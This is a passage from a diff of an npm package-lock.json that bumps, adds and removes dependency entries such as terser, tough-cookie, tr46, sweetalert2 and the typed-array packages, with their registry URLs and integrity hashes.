"^1.2.6" + "has-flag": "^3.0.0" }, - "bin": { - "mkdirp": "bin/cmd.js" - } - }, - "node_modules/swarm-js/node_modules/p-cancelable": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.3.0.tgz", - "integrity": "sha512-RVbZPLso8+jFeq1MfNvgXtCRED2raz/dKpacfTNxsx6pLEpEomM7gah6VeHSYV3+vo0OAi4MkArtQcWWXuQoyw==", "engines": { "node": ">=4" } }, - "node_modules/swarm-js/node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, - "node_modules/swarm-js/node_modules/tar": { - "version": "4.4.19", - "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.19.tgz", - "integrity": "sha512-a20gEsvHnWe0ygBY8JbxoM4w3SJdhc7ZAuxkLqh+nvNQN2IOt0B5lLgM490X5Hl8FF0dl0tOf2ewFYAlIFgzVA==", + "node_modules/svgo": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-3.3.2.tgz", + "integrity": "sha512-OoohrmuUlBs8B8o6MB2Aevn+pRIH9zDALSR+6hhqVfa6fRwG/Qw9VUMSMW9VNg2CFc/MTIfabtdOVl9ODIJjpw==", + "dev": true, + "license": "MIT", "dependencies": { - "chownr": "^1.1.4", - "fs-minipass": "^1.2.7", - "minipass": "^2.9.0", - "minizlib": "^1.3.3", - "mkdirp": "^0.5.5", - "safe-buffer": "^5.2.1", - "yallist": "^3.1.1" + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^5.1.0", + "css-tree": "^2.3.1", + "css-what": "^6.1.0", + "csso": "^5.0.5", + "picocolors": "^1.0.0" + }, + "bin": { + "svgo": "bin/svgo" }, "engines": { - "node": ">=4.5" + "node": ">=14.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/svgo" } }, - "node_modules/swarm-js/node_modules/yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" - }, "node_modules/sweetalert2": { - "version": "11.4.29", - "resolved": "https://registry.npmjs.org/sweetalert2/-/sweetalert2-11.4.29.tgz", - "integrity": "sha512-UMCZgyEk0m+KizxspB8Bsm5ZQRdguba2t2+Rf0r8XBmq5YqhXq7ItV2C15A3VLfRlxHnEJBTYg6hkSk/x+5Ofw==", + "version": "11.22.4", + "resolved": "https://registry.npmjs.org/sweetalert2/-/sweetalert2-11.22.4.tgz", + "integrity": "sha512-JwcRODfozxiKmspFp+xctZ2izAmLAKbRPcoLMEW7LdugN/YmNrX1LT7hdBW87qsgupEO1ukBBuB17KzKFKW0tg==", + "license": "MIT", "funding": { "type": "individual", - "url": "https://sweetalert2.github.io/#donations" + "url": "https://github.com/sponsors/limonte" } }, "node_modules/symbol-tree": { "version": "3.2.4", "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/tapable": { "version": "2.2.1", @@ -17019,49 +14423,15 @@ "node": ">=6" } }, - "node_modules/tar": { - "version": "6.1.11", - "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.11.tgz", - "integrity": "sha512-an/KZQzQUkZCkuoAA64hM92X0Urb6VpRhAFllDzz44U2mcD5scmT3zBc4VgVpkugF580+DQn8eAFSyoQt0tznA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "chownr": "^2.0.0", - "fs-minipass": "^2.0.0", - "minipass": "^3.0.0", - "minizlib": "^2.1.1", - "mkdirp": "^1.0.3", - "yallist": "^4.0.0" - }, - "engines": { - "node": ">= 10" - } - }, - "node_modules/terminal-link": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", - "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", - "dev": true, - "dependencies": { - "ansi-escapes": "^4.2.1", - "supports-hyperlinks": "^2.0.0" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/terser": { - "version": "5.14.2", - "resolved": "https://registry.npmjs.org/terser/-/terser-5.14.2.tgz", - "integrity": "sha512-oL0rGeM/WFQCUd0y2QrWxYnq7tfSuKBiqTjRPWrRgB46WD/kiwHwF8T23z78H6Q6kGCuuHcPB+KULHRdxvVGQA==", + "version": "5.39.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.39.0.tgz", + "integrity": "sha512-LBAhFyLho16harJoWMg/nZsQYgTrg5jXOn2nCYjRUcZZEdE3qa2zb8QEDRUGVZBW4rlazf2fxkg8tztybTaqWw==", "dev": true, + "license": "BSD-2-Clause", "dependencies": { - "@jridgewell/source-map": "^0.3.2", - "acorn": "^8.5.0", + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, @@ -17073,17 +14443,17 @@ } }, "node_modules/terser-webpack-plugin": { - "version": "5.2.4", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.2.4.tgz", - "integrity": "sha512-E2CkNMN+1cho04YpdANyRrn8CyN4yMy+WdFKZIySFZrGXZxJwJP6PMNGGc/Mcr6qygQHUUqRxnAPmi0M9f00XA==", + "version": "5.3.12", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.12.tgz", + "integrity": "sha512-jDLYqo7oF8tJIttjXO6jBY5Hk8p3A8W4ttih7cCEq64fQFWmgJ4VqAQjKr7WwIDlmXKEc6QeoRb5ecjZ+2afcg==", "dev": true, + "license": "MIT", "dependencies": { - "jest-worker": "^27.0.6", - "p-limit": "^3.1.0", - "schema-utils": "^3.1.1", - "serialize-javascript": "^6.0.0", - "source-map": "^0.6.1", - "terser": "^5.7.2" + "@jridgewell/trace-mapping": "^0.3.25", + "jest-worker": "^27.4.5", + "schema-utils": "^4.3.0", + "serialize-javascript": "^6.0.2", + "terser": "^5.31.1" }, "engines": { "node": ">= 10.13.0" @@ -17107,29 +14477,12 @@ } } }, - "node_modules/terser-webpack-plugin/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", - "dev": true, - "dependencies": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" - }, - "engines": { - "node": ">= 10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, "node_modules/terser/node_modules/commander": { "version": "2.20.3", "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/test-exclude": { "version": "6.0.0", @@ -17145,39 +14498,122 @@ "node": ">=8" } }, - "node_modules/text-table": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", - "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", - "dev": true - }, - "node_modules/timed-out": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", - "integrity": "sha512-G7r3AhovYtr5YKOWQkta8RKAPb+J9IsO4uVmzjl8AZwfhs8UcUwTiD6gcJYSgOtzyjvQKrKYn41syHbUWMkafA==", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/tiny-emitter": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz", "integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==" }, + "node_modules/tinyglobby": { + "version": "0.2.12", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.12.tgz", + "integrity": "sha512-qkf4trmKSIiMTs/E63cxH+ojC2unam7rJ0WrauAzpT3ECNTxGRMlaXxVbfxMUC/w0LaYk6jQ4y/nGR9uBO3tww==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.4.3", + "picomatch": "^4.0.2" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.4.3", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.4.3.tgz", + "integrity": "sha512-PMXmW2y1hDDfTSRc9gaXIuCCRpuoz3Kaz8cUelp3smouvfT632ozg2vrT6lJsHKKOF59YLbOGfAWGUcKEfRMQw==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz", + "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/tldts": { + "version": "6.1.86", + "resolved": "https://registry.npmjs.org/tldts/-/tldts-6.1.86.tgz", + "integrity": "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tldts-core": "^6.1.86" + }, + "bin": { + "tldts": "bin/cli.js" + } + }, + "node_modules/tldts-core": { + "version": "6.1.86", + "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-6.1.86.tgz", + "integrity": "sha512-Je6p7pkk+KMzMv2XXKmAE3McmolOQFdxkKw0R8EYNr7sELW46JqnNeTX8ybPiQgvg1ymCoF8LXs5fzFaZvJPTA==", + "dev": true, + "license": "MIT" + }, "node_modules/tmpl": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", "dev": true }, - "node_modules/to-fast-properties": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", - "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", + "node_modules/to-buffer": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.1.tgz", + "integrity": "sha512-tB82LpAIWjhLYbqjx3X4zEeHN6M8CiuOEy2JY8SEQVdYRe3CCHOFaqrBW1doLDrfpWhplcW7BL+bO3/6S3pcDQ==", + "license": "MIT", + "dependencies": { + "isarray": "^2.0.5", + "safe-buffer": "^5.2.1", + "typed-array-buffer": "^1.0.3" + }, "engines": { - "node": ">=4" + "node": ">= 0.4" } }, + "node_modules/to-buffer/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "license": "MIT" + }, + "node_modules/to-buffer/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, "node_modules/to-regex-range": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", @@ -17195,88 +14631,48 @@ "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz", "integrity": "sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==" }, - "node_modules/toidentifier": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - "engines": { - "node": ">=0.6" - } - }, "node_modules/tough-cookie": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.2.tgz", - "integrity": "sha512-G9fqXWoYFZgTc2z8Q5zaHy/vJMjm+WV0AkAeHxVCQiEB1b+dGvWzFW6QV07cY5jQ5gRkeid2qIkzkxUnmoQZUQ==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz", + "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==", "dev": true, + "license": "BSD-3-Clause", "dependencies": { - "psl": "^1.1.33", - "punycode": "^2.1.1", - "universalify": "^0.2.0", - "url-parse": "^1.5.3" + "tldts": "^6.1.32" }, "engines": { - "node": ">=6" - } - }, - "node_modules/tough-cookie/node_modules/universalify": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", - "dev": true, - "engines": { - "node": ">= 4.0.0" + "node": ">=16" } }, "node_modules/tr46": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", - "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", + "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", "dev": true, + "license": "MIT", "dependencies": { - "punycode": "^2.1.1" + "punycode": "^2.3.1" }, "engines": { - "node": ">=12" - } - }, - "node_modules/trim-newlines": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz", - "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/true-case-path": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", - "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "glob": "^7.1.2" + "node": ">=18" } }, "node_modules/tsconfig-paths": { - "version": "3.14.1", - "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz", - "integrity": "sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==", + "version": "3.15.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz", + "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==", "dev": true, "dependencies": { "@types/json5": "^0.0.29", - "json5": "^1.0.1", + "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "node_modules/tsconfig-paths/node_modules/json5": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", - "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", "dev": true, "dependencies": { "minimist": "^1.2.0" @@ -17315,11 +14711,6 @@ "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" }, - "node_modules/type": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz", - "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==" - }, "node_modules/type-check": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", @@ -17337,31 +14728,96 @@ "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", "engines": { - "node": ">=4" + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", + "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", + "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/type-fest": { - "version": "0.21.3", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", - "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "node_modules/typed-array-byte-offset": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" + }, "engines": { - "node": ">=10" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/type-is": { - "version": "1.6.18", - "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "node_modules/typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "dev": true, + "license": "MIT", "dependencies": { - "media-typer": "0.3.0", - "mime-types": "~2.1.24" + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" }, "engines": { - "node": ">= 0.6" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/typedarray-to-buffer": { @@ -17372,29 +14828,42 @@ "is-typedarray": "^1.0.0" } }, - "node_modules/ultron": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz", - "integrity": "sha512-UIEXBNeYmKptWH6z8ZnqTeS8fV74zG0/eRU9VGkpzz+LIJNs8W/zM/L+7ctCkRrgbNnnR0xxw4bKOr0cW0N0Og==" + "node_modules/typescript": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.6.2.tgz", + "integrity": "sha512-NW8ByodCSNCwZeghjN3o+JX5OFH0Ojg6sadjEKY4huZ52TqbJTJnDo5+Tw98lSy63NZvi4n+ez5m2u5d4PkZyw==", + "peer": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } }, "node_modules/unbox-primitive": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", - "integrity": "sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", + "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", + "dev": true, + "license": "MIT", "dependencies": { - "function-bind": "^1.1.1", - "has-bigints": "^1.0.1", - "has-symbols": "^1.0.2", - "which-boxed-primitive": "^1.0.2" + "call-bound": "^1.0.3", + "has-bigints": "^1.0.2", + "has-symbols": "^1.1.0", + "which-boxed-primitive": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/unicode-canonical-property-names-ecmascript": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", - "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz", + "integrity": "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==", "dev": true, "engines": { "node": ">=4" @@ -17414,65 +14883,27 @@ } }, "node_modules/unicode-match-property-value-ecmascript": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz", - "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz", + "integrity": "sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==", "dev": true, "engines": { "node": ">=4" } }, "node_modules/unicode-property-aliases-ecmascript": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz", - "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", "dev": true, "engines": { "node": ">=4" } }, - "node_modules/unique-filename": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", - "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "unique-slug": "^2.0.0" - } - }, - "node_modules/unique-slug": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", - "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "imurmurhash": "^0.1.4" - } - }, - "node_modules/universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/unpipe": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - "engines": { - "node": ">= 0.8" - } - }, "node_modules/update-browserslist-db": { - "version": "1.0.5", - "resolved": 